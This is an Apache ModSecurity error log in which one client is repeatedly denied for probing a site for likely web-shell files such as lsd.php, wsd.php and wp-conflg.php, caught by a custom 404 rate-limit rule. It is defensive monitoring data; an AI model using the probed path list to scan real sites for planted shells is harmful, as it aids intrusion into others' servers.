[Wed Jan 21 01:06:20.546173 2026] [:error] [pid 8455:tid 8464] [client 20.230.68.0:18190] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aW-2DIJiHdPVtruynXDhGAAAA0c"]
[Wed Jan 21 01:06:21.181582 2026] [:error] [pid 63647:tid 63661] [client 20.230.68.0:18301] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aW-2DVUaYw1xHOoaFFJCOQAAAgw"]
[Wed Jan 21 01:06:21.700418 2026] [:error] [pid 54260:tid 54327] [client 20.230.68.0:18273] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aW-2Ddg7jS3jmpUN0WBIRwAAAVM"]
[Wed Jan 21 01:06:22.135414 2026] [:error] [pid 56291:tid 56314] [client 20.230.68.0:18261] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aW-2DrXgW_1T5Nikxa0eawAAAFM"]
[Wed Jan 21 01:06:22.757681 2026] [:error] [pid 8455:tid 8461] [client 20.230.68.0:18245] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aW-2DoJiHdPVtruynXDhGgAAA0Q"]
[Wed Jan 21 01:06:23.254613 2026] [:error] [pid 56291:tid 56318] [client 20.230.68.0:18224] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aW-2D7XgW_1T5Nikxa0ebAAAAFc"]
[Wed Jan 21 01:06:23.908791 2026] [:error] [pid 8455:tid 8462] [client 20.230.68.0:18198] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aW-2D4JiHdPVtruynXDhGwAAA0U"]
[Wed Jan 21 01:06:24.377347 2026] [:error] [pid 54260:tid 54323] [client 20.230.68.0:13291] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aW-2ENg7jS3jmpUN0WBISQAAAU8"]
[Wed Jan 21 01:06:24.928316 2026] [:error] [pid 56360:tid 56366] [client 20.230.68.0:18206] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aW-2EE1J8CD1rR-wXXuH8gAAAQQ"]
[Wed Jan 21 01:06:25.486019 2026] [:error] [pid 56360:tid 56373] [client 20.230.68.0:18254] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aW-2EU1J8CD1rR-wXXuH9AAAAQs"]
[Wed Jan 21 01:06:25.939659 2026] [:error] [pid 54259:tid 54289] [client 20.230.68.0:13259] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aW-2EQ2q1USrePnOoFQgzgAAAIw"]
[Wed Jan 21 01:06:26.468465 2026] [:error] [pid 17295:tid 17303] [client 20.230.68.0:18193] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aW-2EvZJhGdrcqZICT_LhgAAAYU"]
[Wed Jan 21 01:06:26.892537 2026] [:error] [pid 54259:tid 54296] [client 20.230.68.0:18298] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aW-2Eg2q1USrePnOoFQgzwAAAJM"]
[Wed Jan 21 01:06:27.446934 2026] [:error] [pid 54259:tid 54290] [client 20.230.68.0:18194] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aW-2Ew2q1USrePnOoFQg0AAAAI0"]
[Wed Jan 21 01:06:28.126873 2026] [:error] [pid 56291:tid 56319] [client 20.230.68.0:18246] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aW-2FLXgW_1T5Nikxa0ebQAAAFg"]
[Wed Jan 21 01:06:28.841040 2026] [:error] [pid 54260:tid 54317] [client 20.230.68.0:13249] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aW-2FNg7jS3jmpUN0WBISgAAAUk"]
[Wed Jan 21 01:06:29.404690 2026] [:error] [pid 56326:tid 56338] [client 20.230.68.0:18268] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aW-2FRA6mi8Uwf45Uy9g7AAAAMo"]
[Wed Jan 21 01:06:30.033592 2026] [:error] [pid 54259:tid 54295] [client 20.230.68.0:18267] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aW-2Fg2q1USrePnOoFQg0gAAAJI"]
[Wed Jan 21 01:06:30.774238 2026] [:error] [pid 8455:tid 8481] [client 20.230.68.0:18184] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aW-2FoJiHdPVtruynXDhIQAAA1g"]
[Wed Jan 21 01:06:31.322401 2026] [:error] [pid 8455:tid 8473] [client 20.230.68.0:13299] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aW-2F4JiHdPVtruynXDhIwAAA1A"]
[Wed Jan 21 01:06:31.830814 2026] [:error] [pid 8455:tid 8470] [client 20.230.68.0:18183] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aW-2F4JiHdPVtruynXDhJAAAA00"]
[Wed Jan 21 01:06:32.415350 2026] [:error] [pid 8455:tid 8468] [client 20.230.68.0:18199] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aW-2GIJiHdPVtruynXDhJQAAA0s"]
[Wed Jan 21 01:06:33.069704 2026] [:error] [pid 63647:tid 63652] [client 20.230.68.0:18189] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aW-2GVUaYw1xHOoaFFJCPgAAAgM"]
[Wed Jan 21 01:06:33.826039 2026] [:error] [pid 63647:tid 63665] [client 20.230.68.0:18303] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aW-2GVUaYw1xHOoaFFJCQQAAAhA"]
[Wed Jan 21 01:06:34.282132 2026] [:error] [pid 63647:tid 63654] [client 20.230.68.0:18297] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aW-2GlUaYw1xHOoaFFJCQgAAAgU"]
[Wed Jan 21 01:06:34.782129 2026] [:error] [pid 63647:tid 63650] [client 20.230.68.0:18248] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aW-2GlUaYw1xHOoaFFJCRQAAAgE"]
[Wed Jan 21 01:06:35.316930 2026] [:error] [pid 63647:tid 63667] [client 20.230.68.0:18177] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aW-2G1UaYw1xHOoaFFJCRwAAAhI"]
[Wed Jan 21 01:06:35.998834 2026] [:error] [pid 63647:tid 63666] [client 20.230.68.0:18176] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aW-2G1UaYw1xHOoaFFJCSQAAAhE"]
[Wed Jan 21 01:06:36.471098 2026] [:error] [pid 54382:tid 54402] [client 20.230.68.0:18276] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aW-2HETJlZ9SJ6sBOEvm-QAAABE"]
[Wed Jan 21 01:06:37.056608 2026] [:error] [pid 63647:tid 63669] [client 20.230.68.0:18236] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW-2HVUaYw1xHOoaFFJCSwAAAhQ"]
[Wed Jan 21 01:06:37.513432 2026] [:error] [pid 54260:tid 54316] [client 20.230.68.0:18200] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW-2Hdg7jS3jmpUN0WBITgAAAUg"]
[Wed Jan 21 01:06:38.033056 2026] [:error] [pid 56326:tid 56341] [client 20.230.68.0:18230] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW-2HhA6mi8Uwf45Uy9g8QAAAM0"]
[Wed Jan 21 01:06:38.572850 2026] [:error] [pid 17295:tid 17301] [client 20.230.68.0:13258] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW-2HvZJhGdrcqZICT_LjwAAAYM"]
[Wed Jan 21 01:06:39.022434 2026] [:error] [pid 56291:tid 56311] [client 20.230.68.0:18201] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aW-2H7XgW_1T5Nikxa0ebwAAAFA"]
[Wed Jan 21 01:06:39.485506 2026] [:error] [pid 17340:tid 17362] [client 20.230.68.0:18231] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aW-2H_AsOSYVgw_35t3YkAAAAkY"]
[Wed Jan 21 01:06:40.564042 2026] [:error] [pid 56326:tid 56328] [client 20.230.68.0:18227] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aW-2IBA6mi8Uwf45Uy9g8gAAAMA"]
[Wed Jan 21 01:06:41.134828 2026] [:error] [pid 17340:tid 17360] [client 20.230.68.0:18219] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aW-2IfAsOSYVgw_35t3YkgAAAkQ"]
[Wed Jan 21 01:06:42.273630 2026] [:error] [pid 54382:tid 54400] [client 20.230.68.0:13287] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aW-2IkTJlZ9SJ6sBOEvnBAAAAA8"]
[Wed Jan 21 01:06:43.066491 2026] [:error] [pid 63647:tid 63657] [client 20.230.68.0:18294] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aW-2I1UaYw1xHOoaFFJCTQAAAgg"]
[Wed Jan 21 01:06:44.001895 2026] [:error] [pid 54260:tid 54313] [client 20.230.68.0:18292] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aW-2JNg7jS3jmpUN0WBIUAAAAUU"]
[Wed Jan 21 01:06:44.463002 2026] [:error] [pid 17340:tid 17373] [client 20.230.68.0:13283] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aW-2JPAsOSYVgw_35t3YmQAAAlE"]
[Wed Jan 21 01:06:45.223856 2026] [:error] [pid 8455:tid 8477] [client 20.230.68.0:18187] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aW-2JYJiHdPVtruynXDhKgAAA1Q"]
[Wed Jan 21 01:06:45.961559 2026] [:error] [pid 54260:tid 54308] [client 20.230.68.0:18213] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aW-2Jdg7jS3jmpUN0WBIUQAAAUA"]
[Wed Jan 21 01:06:47.095426 2026] [:error] [pid 63647:tid 63649] [client 20.230.68.0:13193] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aW-2J1UaYw1xHOoaFFJCUAAAAgA"]
[Wed Jan 21 01:06:47.761592 2026] [:error] [pid 54260:tid 54325] [client 20.230.68.0:13251] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aW-2J9g7jS3jmpUN0WBIUwAAAVE"]
[Wed Jan 21 01:06:48.388192 2026] [:error] [pid 54382:tid 54400] [client 20.230.68.0:13265] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aW-2KETJlZ9SJ6sBOEvnHAAAAA8"]
[Wed Jan 21 01:06:48.958345 2026] [:error] [pid 56291:tid 56304] [client 20.230.68.0:13284] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aW-2KLXgW_1T5Nikxa0ecgAAAEk"]
[Wed Jan 21 01:06:49.522497 2026] [:error] [pid 56326:tid 56335] [client 20.230.68.0:18271] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aW-2KRA6mi8Uwf45Uy9g9AAAAMc"]
[Wed Jan 21 01:06:50.219038 2026] [:error] [pid 17295:tid 17300] [client 20.230.68.0:18214] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aW-2KvZJhGdrcqZICT_MDQAAAYI"]
[Wed Jan 21 01:06:50.797462 2026] [:error] [pid 56360:tid 56368] [client 20.230.68.0:18286] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aW-2Kk1J8CD1rR-wXXuH-wAAAQY"]
[Wed Jan 21 01:06:51.338037 2026] [:error] [pid 56326:tid 56349] [client 20.230.68.0:13188] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aW-2KxA6mi8Uwf45Uy9g9QAAANU"]
[Wed Jan 21 01:06:51.790037 2026] [:error] [pid 63647:tid 63658] [client 20.230.68.0:13263] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aW-2K1UaYw1xHOoaFFJCUwAAAgk"]
[Wed Jan 21 01:06:52.392083 2026] [:error] [pid 17340:tid 17364] [client 20.230.68.0:18188] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aW-2LPAsOSYVgw_35t3YnwAAAkg"]
[Wed Jan 21 01:06:53.229334 2026] [:error] [pid 54260:tid 54319] [client 20.230.68.0:18287] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aW-2Ldg7jS3jmpUN0WBIVQAAAUs"]
[Wed Jan 21 01:06:53.972286 2026] [:error] [pid 56360:tid 56369] [client 20.230.68.0:13289] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aW-2LU1J8CD1rR-wXXuH_AAAAQc"]
[Wed Jan 21 01:06:54.637366 2026] [:error] [pid 54260:tid 54323] [client 20.230.68.0:18238] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aW-2Ltg7jS3jmpUN0WBIWAAAAU8"]
